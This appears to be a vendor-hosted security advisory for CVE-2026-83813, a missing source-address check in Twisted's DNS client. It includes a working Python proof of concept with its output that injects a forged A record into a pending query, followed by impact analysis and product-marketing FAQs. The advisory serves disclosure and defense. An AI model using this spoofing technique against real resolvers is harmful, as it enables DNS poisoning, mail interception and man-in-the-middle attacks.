Summary
Twisted: DNS Response Spoofing in twisted.names Due to Missing Source Address Validation
twisted.names.dns.DNSDatagramProtocol, the UDP transport used by twisted's DNS client (twisted.names.client.Resolver, createResolver, and anything built on it, including MX lookups in twisted.mail), accepts a DNS response for a pending query solely on the basis of the 16-bit transaction ID matching. It never checks that the response actually originated from the server the query was sent to. Any host that can deliver a UDP packet to the resolver's listening port with the correct transaction ID can inject a forged answer, independent of the real server's address. This is a materially weaker defense than standard DNS resolver practice (transaction ID plus source-address validation, typically also source-port rotation), and enables off-path DNS response spoofing / cache poisoning.
Details
DNSDatagramProtocol.datagramReceived (src/twisted/names/dns.py, line 3350) is:
def datagramReceived(self, data, addr):
"""
Read a datagram, extract the message in it and trigger the associated
Deferred.
"""
m = Message()
try:
m.fromStr(data)
except EOFError:
...
except ValueError as ex:
...
except BaseException:
...
if m.id in self.liveMessages:
d, canceller = self.liveMessages[m.id]
del self.liveMessages[m.id]
canceller.cancel()
try:
d.callback(m)
except BaseException:
log.err()
else:
if m.id not in self.resends:
self.controller.messageReceived(m, self, addr)
The addr parameter, the UDP source address of the datagram, is accepted but never compared against the address the corresponding query was sent to. The only check is m.id in self.liveMessages, and liveMessages is keyed purely by the transaction ID chosen in DNSMixin.pickID(). The listening socket is a plain listenUDP(0, self, maxPacketSize=512) (line 3348), not connected to the queried server, so the kernel does not filter by source address either; any host can deliver a UDP datagram to this socket.
The transaction ID itself is generated with secureRandom (randomSource(), line 174), so it is not predictable, but at 16 bits it is a 1-in-65536 space per attempt. twisted.names.client.Resolver, the standard, documented DNS client, mitigates brute-force guessing of that space by creating a brand-new DNSDatagramProtocol bound to a fresh, independently random source port (_connectedProtocol(), src/twisted/names/client.py line 206, using dns.randomSource()) for every individual query, and tearing the socket down once the query completes (_query(), line 253). This gives an off-path attacker roughly 32 bits of combined entropy (port and transaction ID) to guess per query issued through the standard client, not just the 16 bits of the transaction ID alone.
The missing source-address check is still a real gap for two reasons. First, it removes a defense-in-depth backstop that DNS resolver best practice (RFC 5452) treats as independent from port and ID randomization; an attacker who is on-path, shares a broadcast domain or NAT with the resolver or the real DNS server, or is otherwise able to observe or narrow the ephemeral port faces no additional barrier at all, since source-address validation is exactly the check that would stop them. Second, DNSDatagramProtocol is itself a public, documented class; code that constructs one directly and issues more than one query against the same instance, rather than going through client.Resolver's per-query protocol and port cycling, reuses the same source port for every query after the first, so guessing the 16-bit transaction ID alone is sufficient from that point on.
twisted.names.client.Resolver uses this same DNSDatagramProtocol class for every UDP query it issues, so every consumer of the standard twisted DNS client, including twisted.mail's MX resolution, is subject to the same unauthenticated accept logic in datagramReceived, moderated by the per-query port rotation described above.
PoC
import socket
from twisted.internet import reactor
from twisted.names import dns
class CapturingController:
def messageReceived(self, message, protocol, address):
pass
def main():
resolverProto = dns.DNSDatagramProtocol(CapturingController())
resolverProto.startListening()
real_server = ("203.0.113.1", 53) # RFC 5737 TEST-NET-1, never answers
query = dns.Query(b"victim.example.com", dns.A, dns.IN)
d = resolverProto.query(real_server, [query], timeout=5)
stolen_id = next(iter(resolverProto.liveMessages))
resolver_port = resolverProto.transport.getHost().port
forged = dns.Message(stolen_id, answer=1)
forged.queries = [query]
forged.answers = [
dns.RRHeader(name=b"victim.example.com", type=dns.A, cls=dns.IN, ttl=60,
payload=dns.Record_A(address="6.6.6.6"))
]
attacker_sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
attacker_sock.bind(("127.0.0.1", 0)) # unrelated to real_server
attacker_sock.sendto(forged.toStr(), ("127.0.0.1", resolver_port))
def onResult(message):
print("Resolver ACCEPTED forged response as the answer to its query to", real_server)
print("Spoofed A record:", message.answers[0].payload.dottedQuad())
reactor.stop()
d.addCallback(onResult)
reactor.callWhenRunning(main)
reactor.run()
Output:
Resolver listening on 127.0.0.1:54997, queried ('203.0.113.1', 53), id=6995
Forged response sent from ('127.0.0.1', 53644) (NOT ('203.0.113.1', 53))
Resolver ACCEPTED forged response as the answer to its query to ('203.0.113.1', 53)
Spoofed A record: 6.6.6.6
The query was sent to 203.0.113.1:53, an address reserved by RFC 5737 for documentation and testing that will never respond. The forged response was sent from an unrelated local UDP socket bound to a different, unrelated port. The resolver accepted it as the legitimate answer purely because the transaction ID matched, proving the response's source address plays no role in validation.
Impact
Any application resolving hostnames through twisted.names can have DNS answers forged by a network party able to deliver a UDP packet to the resolver's listening port with the correct transaction ID, and, for the standard client.Resolver path, the correct ephemeral source port too. An on-path attacker, or one sharing a broadcast domain or NAT with the resolver or the real DNS server, faces no meaningful barrier at all, since source-address validation is exactly the check that would stop them and it is absent. An off-path attacker targeting the standard client.Resolver API must win a roughly 32-bit combined guess (port and transaction ID) within the query timeout window; the same attacker targeting code that uses the public DNSDatagramProtocol class directly across multiple queries on one instance, a supported usage pattern, faces only the 16-bit transaction ID space per query after the first. A successful forgery lets an attacker redirect hostname resolution to an address of their choosing, enabling mail interception (spoofed MX/A records), SSRF, or man-in-the-middle positioning against anything that trusts the resolved address.
CVE-2026-83813 has a CVSS score of 3.1 (Low). The vector is reachable from an adjacent network, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (26.10.0rc1); upgrading removes the vulnerable code path.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Already deployed Kodem?
See it in your environmentNew to Kodem? Get a demo →Remediation advice
Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.
Frequently Asked Questions
- What is CVE-2026-83813? CVE-2026-83813 is a low-severity security vulnerability in Twisted (pip), affecting versions <= 26.4.0. It is fixed in 26.10.0rc1.
- How severe is CVE-2026-83813? CVE-2026-83813 has a CVSS score of 3.1 (Low). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which versions of Twisted are affected by CVE-2026-83813? Twisted (pip) versions <= 26.4.0 is affected.
- Is there a fix for CVE-2026-83813? Yes. CVE-2026-83813 is fixed in 26.10.0rc1. Upgrade to this version or later.
- Is CVE-2026-83813 exploitable, and should I be worried? Whether CVE-2026-83813 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2026-83813 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2026-83813? Upgrade
Twistedto 26.10.0rc1 or later.